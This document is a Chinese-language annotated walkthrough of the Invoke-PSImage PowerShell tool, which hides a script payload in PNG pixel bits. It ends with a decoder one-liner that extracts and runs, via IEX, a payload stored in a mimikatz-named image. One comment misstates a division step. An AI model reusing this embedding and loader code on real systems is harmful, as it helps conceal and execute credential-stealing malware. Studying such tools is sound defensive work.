invoke-PSImage.ps1源码解读

[CmdletBinding()] Param (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $Script,
        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $Out,
        [Parameter(Position = 2, Mandatory = $False)]
        [String]
        $Image,
        [switch] $WebClient,
        [switch] $PictureBox
    )

定义参数,共5个参数,Script;Out;Image;WebClient;PictureBox

if (-Not [System.IO.Path]::IsPathRooted($Script)){
        $Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script))
    }
    if (-Not [System.IO.Path]::IsPathRooted($Out)){
        $Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out))
    }

判断script，out参数值的脚本路径是否存在，若存在，进行标准化

if ($Image) {
        # Normalize paths beacuse powershell is sometimes bad with them.
        if (-Not [System.IO.Path]::IsPathRooted($Image)){
            $Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image))
        }
        
        # Read the image into a bitmap
        $img = New-Object System.Drawing.Bitmap($Image)
        #从现有图像初始化bitmap类的新实例

        $width = $img.Size.Width
        $height = $img.Size.Height
        #获取实例的宽和高，以像素为单位

        # Lock the bitmap in memory so it can be changed programmatically.
        $rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
        #绘制一个矩形，大小与图片相同

        $bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
        #将图片锁定在内存中，便于后续修改图片像素位

        $ptr = $bmpData.Scan0
        #获取图中第一个像素点的位置

        # Copy the RGB values to an array for easy modification
        $bytes  = [Math]::Abs($bmpData.Stride) * $img.Height
        #获取图片像素宽与高的乘积，相当于该图片所能植入的恶意代码的最大字节数

        $rgbValues = New-Object byte[] $bytes;
        [System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);
        #将图片中的像素位数据复制到rgbvalues

        # Check that the payload fits in the image 
        if($bytes/2 -lt $payload.Length) {
            Write-Error "Image not large enough to contain payload!"
            $img.UnlockBits($bmpData)
            $img.Dispose()
            Break
        }
        #图片大小和payload大小比较,若图片大小小于payload,报错并退出

for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
            if ($counter -lt $payload.Length){
                $paybyte1 = [math]::Floor($payload[$counter]/16)
                $paybyte2 = ($payload[$counter] -band 0x0f)
                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
                #读取payload的前后4位,paybyte1为前4位,paybyte2为后4位,band=&与运算,bor=|或运算,paybyte3为随机数，无关紧要
                #以payload[$counter]=A为例分析，
                #paybyte1=0x41/0x01 取商为0x04，即取出了payload的高四位
                #paybyte2=0x41 & 0x0f == 0x01,即取出了payload的低四位
               
            } else {
                $paybyte1 = ($randb[$counter%113] -band 0x0f)
                $paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
                #若计数器大于payload长度,则填充随机数
            }
            $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
            #这里rgbvalues($counter*3)表示B颜色分量，rgbValues[($counter*3+1)表示G颜色分量，分别与原来图片的低4位进行或运算从而保存
            $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
            $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
        }
以上这段就是保存payload到图片中的核心代码，即为图示的原理

		[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
        #将rgbvulues的数据保存到图片实例中
        $img.UnlockBits($bmpData)

        # Write the image to a file
        $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
        #将图片实例另存为out文件中
        $img.Dispose()
        将植入恶意代码的rgb像素位保存到文件中

sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\Users\sojrs\Desktop\sojrs_mimikatz.png");
$o=a Byte[] 2877;
(0..2)|%{foreach($x in(0..958))
   {$p=$g.GetPixel($x,$_);
   $o[$_*959+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
   #逆向过程，循环读取恶意图片像素中的B,G颜色分量的低4位，并将B的低4位进行进位，然后或运算后即为payload的字节表达式
   $g.Dispose();
   IEX([System.Text.Encoding]::ASCII.GetString($o[0..2839]))
   #将payload转为字符
最终即获取到了一个恶意代码的对象，如果想要执行该对象的相关方法，后面添加分号即可，以mimikatz读取为例